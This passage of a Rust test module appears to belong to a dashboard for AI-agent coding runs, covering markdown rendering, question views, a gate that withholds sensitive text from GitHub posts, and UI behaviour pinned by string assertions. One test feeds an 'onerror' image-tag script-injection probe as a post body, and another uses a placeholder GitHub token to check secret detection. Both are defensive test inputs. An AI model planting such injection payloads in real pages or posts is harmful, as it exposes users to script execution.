22123            (RunStatus::Blocked, true),
22124            (RunStatus::Landing, false),
22125        ] {
22126            let mut state = RunState::new(
22127                std::path::PathBuf::from("/repo"),
22128                "main".to_owned(),
22129                "abc".to_owned(),
22130                "x".to_owned(),
22131                crate::config::Config::default(),
22132            );
22133            state.status = status;
22134            let v = serde_json::to_value(RunDetailView::of(
22135                state,
22136                false,
22137                crate::run::Liveness::Unknown,
22138                None,
22139                None,
22140                None,
22141            ))
22142            .unwrap();
22143            assert_eq!(v["done"], done, "{status:?}");
22144        }
22145    }
22146
22147    /// The first node of a markdown block holds a `strong` somewhere.
22148    fn has_strong(nodes: &[md::Node]) -> bool {
22149        serde_json::to_string(nodes).unwrap().contains("strong")
22150    }
22151
22152    #[test]
22153    fn the_run_detail_payload_carries_markdown_for_agent_prose() {
22154        let mut state = RunState::new(
22155            std::path::PathBuf::from("/repo"),
22156            "main".to_owned(),
22157            "abc".to_owned(),
22158            "x".to_owned(),
22159            crate::config::Config::default(),
22160        );
22161        let proposal = |approach: &str| {
22162            serde_json::json!({
22163                "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
22164            })
22165        };
22166        state.advice = Some(
22167            serde_json::from_value(serde_json::json!({
22168                "records": [
22169                    {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
22170                     "proposal": proposal("do **this**")},
22171                    {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
22172                ],
22173                "synthesis": "- one\n- **two**\n\n`code`",
22174            }))
22175            .unwrap(),
22176        );
22177        state.candidates = serde_json::from_value(serde_json::json!([
22178            {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
22179             "summary": "did **it**"},
22180            {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
22181        ]))
22182        .unwrap();
22183        // Recorded in ascending severity, the reverse of how the page sorts
22184        // them: the arrays must follow the record, not the display.
22185        state.reviews = serde_json::from_value(serde_json::json!([{
22186            "round": 1, "head": "h",
22187            "reviews": [{
22188                "reviewer": 1, "agent": "a", "summary": "sum **mary**",
22189                "findings": [
22190                    {"severity": "nit", "title": "t1", "detail": "plain nit"},
22191                    {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
22192                ],
22193            }],
22194            "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
22195            "fix": {"agent": "a", "notes": "fixed **it**",
22196                    "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
22197        }, {"round": 2, "head": "h2", "reviews": []}]))
22198        .unwrap();
22199
22200        let v = serde_json::to_value(RunDetailView::of(
22201            state,
22202            false,
22203            crate::run::Liveness::Unknown,
22204            None,
22205            None,
22206            None,
22207        ))
22208        .unwrap();
22209
22210        let strong = |p: &str| {
22211            let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
22212            assert!(n.to_string().contains("strong"), "{p}: {n}");
22213        };
22214        strong("/advice_md/synthesis");
22215        assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
22216        assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
22217        strong("/advice_md/approaches/0");
22218        assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
22219        strong("/candidate_summaries_md/0");
22220        assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
22221        strong("/reviews_md/0/reviewers/0/summary");
22222        let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
22223        assert!(!f[0].to_string().contains("strong"), "recorded order kept");
22224        assert!(f[1].to_string().contains("strong"));
22225        strong("/reviews_md/0/reconsideration/0");
22226        strong("/reviews_md/0/fix/notes");
22227        strong("/reviews_md/0/fix/rejected/0");
22228        assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
22229        assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
22230        // The raw strings stay, and no schema moved.
22231        assert_eq!(v["candidates"][0]["summary"], "did **it**");
22232        assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
22233    }
22234
22235    #[test]
22236    fn a_run_without_advice_has_no_advice_md() {
22237        let state = RunState::new(
22238            std::path::PathBuf::from("/repo"),
22239            "main".to_owned(),
22240            "abc".to_owned(),
22241            "x".to_owned(),
22242            crate::config::Config::default(),
22243        );
22244        let p = run_prose_md(&state);
22245        assert!(p.advice_md.is_none());
22246        assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
22247    }
22248
22249    #[test]
22250    fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
22251        let store = ask::Questions::at(PathBuf::from("unused"));
22252        let gt = crate::github_text::Withheld {
22253            title: false,
22254            body: true,
22255            categories: vec!["sensitive-data".into()],
22256        };
22257        let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
22258        let (detail, comparison) =
22259            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
22260        let mut q = Question::new(
22261            "r".into(),
22262            "github-text".into(),
22263            "posting-gate".into(),
22264            "s".into(),
22265            detail,
22266            Vec::new(),
22267        );
22268        assert!(
22269            QuestionView::of(q.clone(), &store, None)
22270                .posting_view
22271                .is_none()
22272        );
22273        q.posting_comparison = Some(comparison);
22274        let view = QuestionView::of(q.clone(), &store, None);
22275        let field = &view.posting_view.unwrap().fields[0];
22276        assert_eq!(
22277            field
22278                .original
22279                .iter()
22280                .map(|f| f.text.as_str())
22281                .collect::<String>(),
22282            body
22283        );
22284        assert!(field.original[0].text.starts_with("<img"));
22285        let original_question: Question =
22286            serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
22287        assert_eq!(original_question, q);
22288        q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
22289            .original
22290            .start = 1;
22291        assert!(
22292            QuestionView::of(q.clone(), &store, None)
22293                .posting_view
22294                .is_none()
22295        );
22296        q.posting_comparison = original_question.posting_comparison;
22297        q.detail.push_str("extra context");
22298        assert!(
22299            QuestionView::of(q.clone(), &store, None)
22300                .posting_view
22301                .is_some()
22302        );
22303        q.detail.insert(0, 'x');
22304        assert!(QuestionView::of(q, &store, None).posting_view.is_none());
22305    }
22306
22307    #[test]
22308    fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
22309        let store = ask::Questions::at(PathBuf::from("unused"));
22310        let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
22311        let gt = crate::github_text::Withheld::from_check(
22312            &crate::github_text::check("fix: x", body),
22313            "fix: x",
22314            body,
22315        )
22316        .unwrap();
22317        let (detail, comparison) =
22318            crate::github_text::question_content(&gt, "fix: x", body, "r", None, None, None);
22319        let mut q = Question::new(
22320            "r".into(),
22321            "github-text".into(),
22322            "posting-gate".into(),
22323            "s".into(),
22324            detail,
22325            Vec::new(),
22326        );
22327        q.posting_comparison = Some(comparison);
22328        let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
22329        let field = &value["posting_view"]["fields"][0];
22330        let group = &field["replacement_group"];
22331        let triggers = group["triggers"].as_array().unwrap();
22332        assert_eq!(triggers.len(), 2);
22333        assert_ne!(triggers[0], triggers[1]);
22334        for id in triggers {
22335            assert!(
22336                field["original"]
22337                    .as_array()
22338                    .unwrap()
22339                    .iter()
22340                    .any(|f| &f["pair"] == id)
22341            );
22342            assert!(
22343                !field["changed"]
22344                    .as_array()
22345                    .unwrap()
22346                    .iter()
22347                    .any(|f| &f["pair"] == id)
22348            );
22349        }
22350        q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
22351            group["id"].as_u64().unwrap() as usize;
22352        assert!(
22353            QuestionView::of(q, &store, None).posting_view.is_none(),
22354            "group and trigger IDs cannot collide"
22355        );
22356    }
22357
22358    #[test]
22359    fn a_question_view_carries_markdown_for_each_thread_turn() {
22360        let home = TempDir::new().unwrap();
22361        let store = ask::Questions::at(home.path().join("questions"));
22362        let mut q = Question::new(
22363            "run".to_owned(),
22364            "implement".to_owned(),
22365            "impl-A".to_owned(),
22366            "which?".to_owned(),
22367            String::new(),
22368            Vec::new(),
22369        );
22370        q.say("plain words").unwrap();
22371        q.reply("use **this**", Vec::new()).unwrap();
22372        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
22373        let bodies = &v["thread_bodies_md"];
22374        assert_eq!(bodies.as_array().unwrap().len(), 2);
22375        assert!(!bodies[0].to_string().contains("strong"));
22376        assert!(bodies[1].to_string().contains("strong"));
22377    }
22378
22379    #[test]
22380    fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
22381        let home = TempDir::new().unwrap();
22382        let store = ask::Questions::at(home.path().join("questions"));
22383        let mut q = Question::new(
22384            "run".to_owned(),
22385            "conduct".to_owned(),
22386            "conduct".to_owned(),
22387            "which?".to_owned(),
22388            String::new(),
22389            Vec::new(),
22390        );
22391        q.say("plain words").unwrap();
22392        q.thread.push(ask::Turn {
22393            who: ask::Who::Agent,
22394            body: "Settled as `merge`".to_owned(),
22395            at: jiff::Timestamp::now(),
22396            note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
22397        });
22398        let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
22399        let notes = &v["thread_notes_md"];
22400        assert_eq!(notes.as_array().unwrap().len(), 2);
22401        assert!(notes[0].is_null());
22402        let text = notes[1].to_string();
22403        assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
22404        assert!(APP_JS.contains("ask-turn-note"));
22405    }
22406
22407    #[test]
22408    fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
22409        // The land panel defers to `run.status` for merged, and labels a
22410        // recorded-open PR on any finished run (superseded, blocked, ...) as
22411        // last seen, never as live state.
22412        assert!(APP_JS.contains("function landView(run, raw) {"));
22413        assert!(
22414            APP_JS.contains(
22415                "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
22416            )
22417        );
22418        assert!(APP_JS.contains("const pr = landView(run, raw);"));
22419        assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
22420        assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
22421        assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
22422    }
22423
22424    #[test]
22425    fn live_runs_are_never_hidden_or_folded_as_superseded() {
22426        assert!(APP_JS.contains("function isLiveAttempt(run) {\n  return !run.done;"));
22427        assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
22428        assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
22429        assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
22430    }
22431
22432    #[test]
22433    fn review_rounds_label_a_distinct_verified_head() {
22434        assert!(APP_JS.contains("round.verified_head"));
22435        assert!(APP_JS.contains("verified HEAD"));
22436        assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
22437    }
22438
22439    #[test]
22440    fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
22441        // A blocked task's chip and note must not fall back to a queued-like
22442        // rendering - review 1623 R2-2-1's finding, fixed for the chip table
22443        // itself by e11fc58 but never checked here.
22444        assert!(APP_JS.contains("blocked: { glyph:"));
22445        assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
22446
22447        // `blocked_by` mixes task ids and question ids in the same list, and
22448        // the client can only tell them apart by checking each id against
22449        // what it actually knows - never by guessing from the id's shape.
22450        assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
22451        assert!(
22452            APP_JS.contains(
22453                "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
22454            ),
22455            "the note line must name what a blocked task is waiting on, not just that it is blocked"
22456        );
22457        // The classification must key off `status_str`, never off `blocked_by`
22458        // or `block_reason` merely being present - both can survive briefly
22459        // on a task a hold or a dead daemon just moved off `blocked`.
22460        assert!(APP_JS.contains("if (status === \"blocked\") {"));
22461
22462        // A question a task is blocked on gets its own node in the same
22463        // dependency graph, not just a task-shaped node with nothing known
22464        // about it. The web_render browser test checks the actual destination.
22465        assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
22466        assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
22467
22468        // `Task::answers` - decisions already made - are shown as a record on
22469        // the card, the same disclosure style as the full instruction.
22470        assert!(APP_JS.contains("Resolved questions"));
22471        assert!(APP_JS.contains("r.answersList.append("));
22472        assert!(APP_CSS.contains(".task-answers"));
22473        {
22474            let start = APP_JS
22475                .find("function updateTalkTaskRow")
22476                .expect("updateTalkTaskRow");
22477            let body = &APP_JS[start..];
22478            let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
22479            assert!(
22480                body.contains(
22481                    "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
22482                ),
22483                "a chat-filed task row must link to the task page"
22484            );
22485            assert!(
22486                !body.contains("#/runs/") && !body.contains("#/queue/"),
22487                "the row must not branch to a run or the queue card"
22488            );
22489            assert!(APP_CSS.contains(".talk-task-link"));
22490        }
22491    }
22492
22493    #[test]
22494    fn a_task_notification_links_to_the_task_page() {
22495        // A task notice opens the task detail page, not the Backlog card.
22496        let start = APP_JS
22497            .find("function noticeLink(")
22498            .expect("noticeLink exists");
22499        let body = &APP_JS[start..];
22500        let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
22501        assert!(
22502            body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
22503            "a task notice's link must target the task page"
22504        );
22505        assert!(
22506            !body.contains("#/queue/"),
22507            "regression: the task link must not go back to the Backlog route"
22508        );
22509        assert!(
22510            APP_JS.contains(
22511                "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
22512            ),
22513            "`#/tasks/<id>` must parse into the task route"
22514        );
22515
22516        // `#/queue/<id>` (card permalinks, old bookmarks) keeps working.
22517        assert!(
22518            APP_JS.contains(
22519                "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
22520            ),
22521            "`#/queue/<id>` must parse into a route carrying that id"
22522        );
22523
22524        // And the Backlog view has to actually land on the card once it can
22525        // - see consumeQueueFocus(), which renderQueue() calls on every pass
22526        // so a focus set before the queue has loaded is retried once it has.
22527        assert!(APP_JS.contains("state.queueFocus = route.id;"));
22528        assert!(APP_JS.contains("function consumeQueueFocus()"));
22529        assert!(APP_JS.contains("jumpToTask(id)"));
22530    }
22531
22532    #[test]
22533    fn notifications_distinguish_actionable_questions_from_informational_notices() {
22534        let start = APP_JS
22535            .find("function noticeCoveredBy(")
22536            .expect("noticeCoveredBy exists");
22537        let body = &APP_JS[start..];
22538        let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
22539
22540        // Historical associations are informational, even for open questions.
22541        assert!(body.contains("Associated question ${short}"));
22542        assert!(!body.contains("el(\"a\""));
22543
22544        // A resolved question displays status rather than an actionable link
22545        assert!(body.contains("(resolved)"));
22546        assert!(body.contains("(closed)"));
22547
22548        let start = APP_JS
22549            .find("function renderNotifications()")
22550            .expect("renderNotifications exists");
22551        let body = &APP_JS[start..];
22552        let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
22553
22554        // Only a server-resolved answerable question supplies a response link.
22555        assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
22556        assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
22557        assert!(body.contains("text: \"Open question to respond\",\n    }) : null;"));
22558        assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
22559    }
22560
22561    /// Chat rows are two lines at every width: the title alone, then the
22562    /// shrinkable secondary info.
22563    #[test]
22564    fn chat_rows_put_the_title_alone_on_the_first_line() {
22565        assert!(APP_CSS.contains("#talks-list .card-title {\n  grid-row: 1; grid-column: 1 / -1;"));
22566        assert!(APP_CSS.contains(
22567            "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
22568        ));
22569        assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
22570        assert!(APP_JS.contains("class: \"badge talk-unread\""));
22571    }
22572
22573    #[test]
22574    fn run_rows_put_the_title_alone_on_the_first_line() {
22575        assert!(
22576            APP_CSS.contains(
22577                ".cards .card.run-card .card-title {\n  grid-row: 1; grid-column: 1 / -1;"
22578            )
22579        );
22580        assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
22581        assert!(APP_JS.contains("class: \"card run-card\""));
22582        assert!(APP_JS.contains("class: \"repo run-id\""));
22583    }
22584
22585    /// Wide screens get a master/detail layout built from the views a phone
22586    /// drills into. These are string assertions: they pin the contract between
22587    /// the three assets, not how it looks.
22588    #[test]
22589    fn wide_screens_show_list_and_preview_side_by_side() {
22590        // One breakpoint, spelled the same in the script and the stylesheet.
22591        assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
22592        assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
22593        assert!(APP_CSS.contains("main[data-split]"));
22594        assert!(APP_CSS.contains("body[data-split]"));
22595
22596        // The route -> panes table, and a narrow screen opting out of it.
22597        assert!(APP_JS.contains("function splitPanes(route, wide) {\n  if (!wide) return null;"));
22598        assert!(
22599            APP_JS.contains(
22600                "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
22601            )
22602        );
22603        assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
22604        assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
22605        assert!(INDEX_HTML.contains("id=\"split-empty\""));
22606
22607        // Selection is derived from the route, and only ever paints a row.
22608        assert!(APP_JS.contains("function markSelected() {"));
22609        assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
22610        assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
22611        // The dense row must override the stacked card the 720px block sets up.
22612        assert!(
22613            APP_CSS.contains(
22614                "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
22615            )
22616        );
22617
22618        // Independent scrolling: the page stops scrolling, each pane does.
22619        assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
22620        assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
22621        assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
22622        assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
22623
22624        // A refresh must never navigate: the loaders still check that their
22625        // subject is the one on screen, and crossing the breakpoint only
22626        // re-reads the hash.
22627        assert!(APP_JS.contains("if (state.detail !== detail) return;"));
22628        assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
22629        assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
22630        assert!(APP_JS.contains("const relayout = () => applyRoute();"));
22631
22632        // The panel sandbox carries exactly allow-popups and allow-popups-to-escape-sandbox.
22633        assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
22634    }
22635
22636    #[test]
22637    fn panel_sandbox_carries_exactly_popups() {
22638        let needle = "sandbox: \"";
22639        let matches: Vec<_> = APP_JS.match_indices(needle).collect();
22640        assert_eq!(
22641            matches.len(),
22642            1,
22643            "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
22644        );
22645        let start = matches[0].0 + needle.len();
22646        let end = APP_JS[start..]
22647            .find('"')
22648            .expect("sandbox attribute value must be terminated by a closing quote");
22649        let val = &APP_JS[start..start + end];
22650        let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
22651        let expected: std::collections::BTreeSet<&str> =
22652            ["allow-popups", "allow-popups-to-escape-sandbox"]
22653                .into_iter()
22654                .collect();
22655        assert_eq!(tokens, expected, "sandbox tokens must match exactly");
22656        assert!(
22657            !tokens.contains("allow-scripts"),
22658            "allow-scripts must never be present in sandbox"
22659        );
22660        assert!(
22661            !tokens.contains("allow-same-origin"),
22662            "allow-same-origin must never be present in sandbox"
22663        );
22664    }
22665
22666    #[test]
22667    fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
22668        // consumeQueueFocus() clears an active Backlog search before it can
22669        // scroll to the target card (the sections list is hidden while a
22670        // search is showing), by recursing back into renderQueue(). The
22671        // fixer's first cut nulled state.queueFocus before that recursive
22672        // call, so the second pass saw nothing to jump to and the jump was
22673        // silently dropped whenever a notification's link was opened with a
22674        // stale search still active. state.queueFocus must only be cleared
22675        // right before jumpToTask() actually runs.
22676        assert!(
22677            APP_JS.contains(
22678                "  }\n  if (state.queueSearch.trim() !== \"\") {\n    state.queueSearch = \"\";"
22679            ),
22680            "the search-clearing branch must run before state.queueFocus is cleared, or the \
22681             recursive renderQueue() call has nothing left to jump to"
22682        );
22683        assert!(
22684            APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
22685            "state.queueFocus must be cleared only once the jump has landed, so a card that \
22686             arrives later still gets it"
22687        );
22688        assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
22689        assert!(APP_JS.contains("is not in the current Backlog."));
22690        assert!(APP_JS.contains("li.card[data-task-id=\""));
22691        assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
22692        assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
22693        assert!(APP_CSS.contains(".card-permalink"));
22694        assert!(APP_CSS.contains(".queue-focus-status"));
22695        assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
22696    }
22697
22698    #[test]
22699    fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
22700        // The task's own repro: only the link text inside .notice-meta was
22701        // clickable, so a tap on the message, the timestamp, or the card's
22702        // padding did nothing - on a phone that reads as "the card doesn't
22703        // work" even though the tiny link inside it did. Mark read / Dismiss
22704        // must keep working independently of this: `.closest("a, button")`
22705        // is what lets a tap that actually lands on those elements fall
22706        // through instead of being hijacked into a navigation.
22707        assert!(
22708            APP_JS.contains(
22709                "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
22710            ),
22711            "the notice card itself must forward a tap outside its link/buttons to the link's own click"
22712        );
22713    }
22714
22715    #[test]
22716    fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
22717        assert!(
22718            APP_JS.contains("round.verified_head !== round.head"),
22719            "a round that verified an earlier commit must be visibly distinct from one that \
22720             verified the head reviewers are looking at now"
22721        );
22722        assert!(
22723            APP_JS.contains("round.verified_at"),
22724            "when a check ran must be on the wire, not just which commit"
22725        );
22726        assert!(
22727            APP_JS.contains("resource_blocked"),
22728            "a command magi never got to run (shared build cache contention) must not render \
22729             the same as a command that ran and failed"
22730        );
22731    }
22732
22733    #[test]
22734    fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
22735        // Every KPI tile but Total runs and Completion names an exact
22736        // RunStatus and hands it to openRunsFiltered(), which is what wires
22737        // the click into state.runsFilter.status (matchesFilter's own
22738        // status check) rather than the coarser runsStateFilter chips. Each
22739        // status literal here must be one of the strings runSection() (and
22740        // isStale()) actually compare a run's own `status` field against -
22741        // a status this dashboard invented would filter to nothing.
22742        assert!(
22743            APP_JS.contains("onClick: () => openRunsFiltered(status)"),
22744            "every KPI tile built through statusTile() must route its click through \
22745             openRunsFiltered, the single place that sets the Runs filter"
22746        );
22747        for (label, status) in [
22748            ("Merged", "merged"),
22749            ("Ready", "ready"),
22750            ("Blocked", "blocked"),
22751            ("Stalled", "stalled"),
22752        ] {
22753            let call = format!("statusTile(\"{label}\", t.{status}, ");
22754            assert!(
22755                APP_JS.contains(&call),
22756                "expected the {label} KPI tile built via {call}..."
22757            );
22758            assert!(
22759                APP_JS.contains(&format!("status === \"{status}\"")),
22760                "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
22761                 compare a run against, not one invented only for the stats tile"
22762            );
22763        }
22764        assert!(
22765            APP_JS.contains("function openRunsFiltered(status)"),
22766            "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
22767        );
22768        assert!(
22769            APP_JS.contains(
22770                "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
22771            ),
22772            "matchesFilter must gate on the statuses of the bucket a KPI tile named"
22773        );
22774        // applyRoute() only flips which view is visible for a plain `#runs`
22775        // hash - it does not itself redraw the list (see applyRoute's own
22776        // handling below) - so openRunsFiltered must call renderRuns()
22777        // itself, and must call applyRoute() too so the view flips even
22778        // when the hash string doesn't change (the operator may already be
22779        // on the Runs view when a tile is tapped, which fires no
22780        // hashchange event at all).
22781        assert!(
22782            APP_JS.contains("  location.hash = \"#runs\";\n  applyRoute();\n  renderRuns();\n}"),
22783            "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
22784             hashchange event that may never fire"
22785        );
22786    }
22787
22788    #[test]
22789    fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
22790        // A stats tile can leave state.runsFilter.status set to something
22791        // done-by-construction (e.g. "merged") - picking "Active" afterward
22792        // must drop it the same way an incompatible tree section is already
22793        // dropped, or the Runs list renders permanently empty with no way
22794        // for the operator to tell why.
22795        assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
22796        assert!(
22797            APP_JS.contains(
22798                "  if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n    state.runsFilter = { ...state.runsFilter, status: null };\n  }"
22799            ),
22800            "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
22801             guard for an incompatible tree section"
22802        );
22803    }
22804
22805    #[test]
22806    fn every_stats_queue_tile_names_a_real_queue_section() {
22807        // renderStatsQueue()'s tiles each call openQueueSectionFocus() with a
22808        // QUEUE_SECTIONS key; a typo here would silently no-op the tile
22809        // (consumeQueueSectionFocus finds no matching <details> and drops
22810        // the focus) rather than fail loudly, so pin every key against the
22811        // section list it has to resolve against.
22812        assert!(
22813            APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
22814            "every queue tile built through sectionTile() must route its click through \
22815             openQueueSectionFocus"
22816        );
22817        for key in ["upnext", "running", "done", "held", "blocked"] {
22818            assert!(
22819                APP_JS.contains(&format!("{{ key: \"{key}\",")),
22820                "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
22821            );
22822        }
22823        // Queued and Failed intentionally both resolve to "upnext" - the
22824        // same section queueSection() itself files them under - rather than
22825        // getting a section each.
22826        for line in [
22827            "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
22828            "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
22829            "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
22830            "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
22831            "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
22832            "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
22833        ] {
22834            assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
22835        }
22836    }
22837
22838    #[test]
22839    fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
22840        // Mirrors consuming_a_queue_focus_survives_clearing_a_stale_backlog_search
22841        // above for the section-focus channel a stats queue tile drives:
22842        // consumeQueueSectionFocus() must leave state.queueSectionFocus set
22843        // through the stale-search-clear recursion into renderQueue(), and
22844        // clear it only once revealQueueSection() is actually about to run -
22845        // the same trap that once silently dropped a task-focus jump.
22846        assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
22847        assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
22848        assert!(APP_JS.contains("function revealQueueSection(details)"));
22849        assert!(
22850            APP_JS.contains("consumeQueueFocus();\n  consumeQueueSectionFocus();"),
22851            "renderQueue() must consume both focus channels on every pass"
22852        );
22853        assert!(
22854            APP_JS.contains(
22855                "  const key = state.queueSectionFocus;\n  if (!key || state.queue === null) return;\n  if (state.queueSearch.trim() !== \"\") {"
22856            ),
22857            "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
22858             the recursive renderQueue() call has nothing left to reveal"
22859        );
22860        assert!(
22861            APP_JS.contains(
22862                "  const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n  state.queueSectionFocus = null;\n  if (details) revealQueueSection(details);"
22863            ),
22864            "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
22865        );
22866        // applyRoute() only calls renderQueue() itself for the `#/queue/<id>`
22867        // task-focus form of the hash - a plain `#queue` navigation only
22868        // flips which view is visible. openQueueSectionFocus() must
22869        // therefore call renderQueue() itself, and applyRoute() too so the
22870        // view flips even when the hash doesn't change (the Backlog may
22871        // already be open when a tile is tapped, firing no hashchange
22872        // event at all).
22873        assert!(
22874            APP_JS.contains("  location.hash = \"#queue\";\n  applyRoute();\n  renderQueue();\n}"),
22875            "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
22876             hashchange event that may never fire"
22877        );
22878    }
22879
22880    #[tokio::test]
22881    async fn the_change_stream_announces_the_current_revisions_on_connect() {
22882        let f = Fixture::start().await;
22883
22884        let mut socket = tokio::net::TcpStream::connect(f.addr)
22885            .await
22886            .expect("connect");
22887        socket
22888            .write_all(
22889                b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
22890            )
22891            .await
22892            .expect("write request");
22893
22894        // Read until the first event arrives rather than to end of stream: the
22895        // stream is endless by design, which is the point of the route.
22896        let mut seen = String::new();
22897        let mut buf = [0u8; 1024];
22898        while !seen.contains("event: change") {
22899            let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
22900                .await
22901                .expect("the stream must speak within five seconds")
22902                .expect("read");
22903            assert!(read > 0, "the server closed the change stream: {seen}");
22904            seen.push_str(&String::from_utf8_lossy(&buf[..read]));
22905        }
22906
